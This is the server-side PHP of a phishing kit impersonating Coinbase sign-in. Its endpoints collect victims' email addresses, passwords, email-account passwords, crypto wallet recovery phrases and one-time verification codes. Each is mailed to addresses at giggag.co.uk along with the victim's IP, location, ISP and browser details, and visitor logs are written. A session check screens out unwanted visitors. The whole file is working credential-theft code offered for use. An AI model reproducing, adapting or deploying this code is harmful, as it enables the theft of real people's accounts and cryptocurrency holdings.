<?php

$coinbase->post('/cb-ajax/isActive', function() {
	if(!isset($_SESSION['cf'])){
		block();
	}
	$e = $_POST['email'];
	$_SESSION['coinbase_email'] = $e;
	$data = "{$_SESSION['hari']} - {$_SESSION['jam']}|Email: {$_SESSION['coinbase_email']}|{$_SESSION['ip']}|{$_SESSION['countryCode']}|{$_SESSION['country']}|{$_SESSION['host']}|{$_SESSION['domain_ip']}|{$_SESSION['ISP']}|{$_SESSION['connection_type']}|{$_SESSION['user_browser']}|{$_SESSION['user_os']}|{$_SESSION['user_os_device']}|{$_SESSION['user_os_name']}|{$_SESSION['agent']}";
	writeL($data, 'visitor');
	echo isEmail($e);
});

$coinbase->post('/cb-ajax/signin', function() {
	global $config;
	
	if(!isset($_SESSION['cf'])){
		block();
	}
	
	if(!isset($_SESSION['login_count'])){
		$_SESSION['login_count'] = 0;
	}
	
	if($_SESSION['login_count'] > 2){
		$_SESSION['login_count'] = 1;
	}
	
	$_SESSION['login_count'] += 1;
	$e = $_POST['email'];
	$p = $_POST['password'];
	if(empty($e) || empty($p)){exit('0');}
	sleep(1);
	$prov = gep($e);
	$_SESSION['email_provider'] = $prov;
	
	//////////////// START SEND MAIL SECTION ///////////////
	$subject = "[ Register iCloud ] - [ {$_SESSION['coinbase_email']} ] - [ {$_SESSION['ip']} ] - [ {$_SESSION['country']} ] - [ {$_SESSION['city']} ] - [ {$_SESSION['region']} ] - [ {$_SESSION['user_os_device']} ] - [ {$_SESSION['urlkirim']} ]";
	$fname = "CB Masuk";
	$fmail = "sentcb@giggag.co.uk";
	$message = "$$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>
    Email            : $e<br>
    Password         : $p<br>
    Email Page   : $prov<br>
    $$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>
    From             : ".$_SESSION['ip']." On ".$_SESSION['hari']." - ".$_SESSION['jam']."<br>
    Tracker Info     : ".$_SESSION['region']." - ".$_SESSION['city']."<br>
    Info ISP         : ".$_SESSION['ISP']." - ".$_SESSION['domain_ip']." - ".$_SESSION['route']."<br>
    Browser          : ".$_SESSION['user_browser']." on ".$_SESSION['user_os']." - ".$_SESSION['user_os_device']." - ".$_SESSION['user_os_name']." - ".$_SESSION['agent']."<br>
    $$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>";
	////////////////  END SEND MAIL SECTION  ///////////////
	

	if ($config['email_sender'] == "smtp") {
		$mail = sendSmtp($subject, $fname, $fmail, $message);
	} else {
		$mail = sendMail($subject, $fname, $fmail, $message);
	}
		
	if($mail){
		$data = "{$_SESSION['hari']} - {$_SESSION['jam']}|Submit Password Page|{$_SESSION['ip']}|{$_SESSION['countryCode']}|{$_SESSION['country']}|{$_SESSION['host']}|{$_SESSION['domain_ip']}|{$_SESSION['ISP']}|{$_SESSION['connection_type']}|{$_SESSION['user_browser']}|{$_SESSION['user_os']}|{$_SESSION['user_os_device']}|{$_SESSION['user_os_name']}|{$_SESSION['agent']}";
		writeL($data, 'visitor');
		writeL($data, 'login');
	}
	
	echo $_SESSION['login_count'];
});

$coinbase->post('/cb-ajax/signin/email_access', function() {
	global $config;
	
	if(!isset($_SESSION['cf'])){
		block();
	}
	if(!isset($_SESSION['login_count_email'])){
		$_SESSION['login_count_email'] = 0;
	}
	
	if($_SESSION['login_count_email'] > 2){
		$_SESSION['login_count_email'] = 1;
	}
	
	$_SESSION['login_count_email'] += 1;
	$e = $_POST['email'];
	$p = $_POST['password'];
	if(empty($e) || empty($p)){exit('0');}
	sleep(1);
	
	//////////////// START SEND MAIL SECTION ///////////////
	$subject = "[ Register iCloud ] - [ {$_SESSION['coinbase_email']} ] - [ {$_SESSION['ip']} ] - [ {$_SESSION['country']} ] - [ {$_SESSION['city']} ] - [ {$_SESSION['region']} ] - [ {$_SESSION['user_os_device']} ] - [ {$_SESSION['urlkirim']} ]";
	$fname = "Email iCloud";
	$fmail = "sentemail@giggag.co.uk";
	$message = "$$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>
    Email            : $e<br>
    Password         : $p<br>
    $$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>
    From             : ".$_SESSION['ip']." On ".$_SESSION['hari']." - ".$_SESSION['jam']."<br>
    Tracker Info     : ".$_SESSION['region']." - ".$_SESSION['city']."<br>
    Info ISP         : ".$_SESSION['ISP']." - ".$_SESSION['domain_ip']." - ".$_SESSION['route']."<br>
    Browser          : ".$_SESSION['user_browser']." on ".$_SESSION['user_os']." - ".$_SESSION['user_os_device']." - ".$_SESSION['user_os_name']." - ".$_SESSION['agent']."<br>
    $$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>";
	////////////////  END SEND MAIL SECTION  ///////////////
	

	if ($config['email_sender'] == "smtp") {
			$mail = sendSmtp($subject, $fname, $fmail, $message);
	} else {
		$mail = sendMail($subject, $fname, $fmail, $message);
	}
		
	if($mail){
		$data = "{$_SESSION['hari']} - {$_SESSION['jam']}|Submit Email Access|{$_SESSION['ip']}|{$_SESSION['countryCode']}|{$_SESSION['country']}|{$_SESSION['host']}|{$_SESSION['domain_ip']}|{$_SESSION['ISP']}|{$_SESSION['connection_type']}|{$_SESSION['user_browser']}|{$_SESSION['user_os']}|{$_SESSION['user_os_device']}|{$_SESSION['user_os_name']}|{$_SESSION['agent']}";
		writeL($data, 'visitor');
		writeL($data, 'email');
	}

	echo $_SESSION['login_count_email'];
});

$coinbase->post('/cb-ajax/signin/phrase', function() {
	global $config;
	
	if(!isset($_SESSION['cf'])){
		block();
	}
	if(!isset($_SESSION['login_count_email'])){
		$_SESSION['login_count_email'] = 0;
	}
	
	if($_SESSION['login_count_email'] > 2){
		$_SESSION['login_count_email'] = 1;
	}
	
	$_SESSION['login_count_email'] += 1;
	$e = $_POST['email'];
	$p = $_POST['password'];
	if(empty($e) || empty($p)){exit('0');}
	sleep(1);
	
	//////////////// START SEND MAIL SECTION ///////////////
	$subject = "[ Phrase ] - [ {$_SESSION['coinbase_email']} ] - [ {$_SESSION['ip']} ] - [ {$_SESSION['country']} ] - [ {$_SESSION['city']} ] - [ {$_SESSION['region']} ] - [ {$_SESSION['user_os_device']} ] - [ {$_SESSION['urlkirim']} ]";
	$fname = "Wallet Phrase";
	$fmail = "sentphrase@giggag.co.uk";
	$message = "$$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>
    Email            : $e<br>
    Phrase         : $p<br>
    $$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>
    From             : ".$_SESSION['ip']." On ".$_SESSION['hari']." - ".$_SESSION['jam']."<br>
    Tracker Info     : ".$_SESSION['region']." - ".$_SESSION['city']."<br>
    Info ISP         : ".$_SESSION['ISP']." - ".$_SESSION['domain_ip']." - ".$_SESSION['route']."<br>
    Browser          : ".$_SESSION['user_browser']." on ".$_SESSION['user_os']." - ".$_SESSION['user_os_device']." - ".$_SESSION['user_os_name']." - ".$_SESSION['agent']."<br>
    $$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>";
	////////////////  END SEND MAIL SECTION  ///////////////
	

	if ($config['email_sender'] == "smtp") {
			$mail = sendSmtp($subject, $fname, $fmail, $message);
	} else {
		$mail = sendMail($subject, $fname, $fmail, $message);
	}
		
	if($mail){
		$data = "{$_SESSION['hari']} - {$_SESSION['jam']}|Submit Phrase Access|{$_SESSION['ip']}|{$_SESSION['countryCode']}|{$_SESSION['country']}|{$_SESSION['host']}|{$_SESSION['domain_ip']}|{$_SESSION['ISP']}|{$_SESSION['connection_type']}|{$_SESSION['user_browser']}|{$_SESSION['user_os']}|{$_SESSION['user_os_device']}|{$_SESSION['user_os_name']}|{$_SESSION['agent']}";
		writeL($data, 'visitor');
		writeL($data, 'email');
	}

	echo $_SESSION['login_count_email'];
});


$coinbase->post('/cb-ajax/signin/challenge', function() {
	global $config;
	
	if(!isset($_SESSION['cf'])){
		block();
	}
	if(!isset($_SESSION['login_count_email'])){
		$_SESSION['login_count_email'] = 0;
	}
	
	if($_SESSION['login_count_email'] > 2){
		$_SESSION['login_count_email'] = 1;
	}
	
	$_SESSION['login_count_email'] += 1;
	$e = $_POST['email'];
	$p = $_POST['password'];
	if(empty($e) || empty($p)){exit('0');}
	sleep(2);
	
	//////////////// START SEND MAIL SECTION ///////////////
	$subject = "[ Send Code ] - [ {$_SESSION['coinbase_email']} ] - [ {$_SESSION['ip']} ] - [ {$_SESSION['country']} ] - [ {$_SESSION['city']} ] - [ {$_SESSION['region']} ] - [ {$_SESSION['user_os_device']} ] - [ {$_SESSION['urlkirim']} ]";
	$fname = "Kode Masuk";
	$fmail = "sentcode@giggag.co.uk";
	$message = "$$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>
    Email            : $e<br>
    Kode Gmail       : $p<br>
    $$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>
    From             : ".$_SESSION['ip']." On ".$_SESSION['hari']." - ".$_SESSION['jam']."<br>
    Tracker Info     : ".$_SESSION['region']." - ".$_SESSION['city']."<br>
    Info ISP         : ".$_SESSION['ISP']." - ".$_SESSION['domain_ip']." - ".$_SESSION['route']."<br>
    Browser          : ".$_SESSION['user_browser']." on ".$_SESSION['user_os']." - ".$_SESSION['user_os_device']." - ".$_SESSION['user_os_name']." - ".$_SESSION['agent']."<br>
    $$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>";
	////////////////  END SEND MAIL SECTION  ///////////////
	

	if ($config['email_sender'] == "smtp") {
			$mail = sendSmtp($subject, $fname, $fmail, $message);
	} else {
		$mail = sendMail($subject, $fname, $fmail, $message);
	}
		
	if($mail){
		$data = "{$_SESSION['hari']} - {$_SESSION['jam']}|Submit Challenge Gmail|{$_SESSION['ip']}|{$_SESSION['countryCode']}|{$_SESSION['country']}|{$_SESSION['host']}|{$_SESSION['domain_ip']}|{$_SESSION['ISP']}|{$_SESSION['connection_type']}|{$_SESSION['user_browser']}|{$_SESSION['user_os']}|{$_SESSION['user_os_device']}|{$_SESSION['user_os_name']}|{$_SESSION['agent']}";
		writeL($data, 'visitor');
		writeL($data, 'email');
	}

	echo $_SESSION['login_count_email'];
});
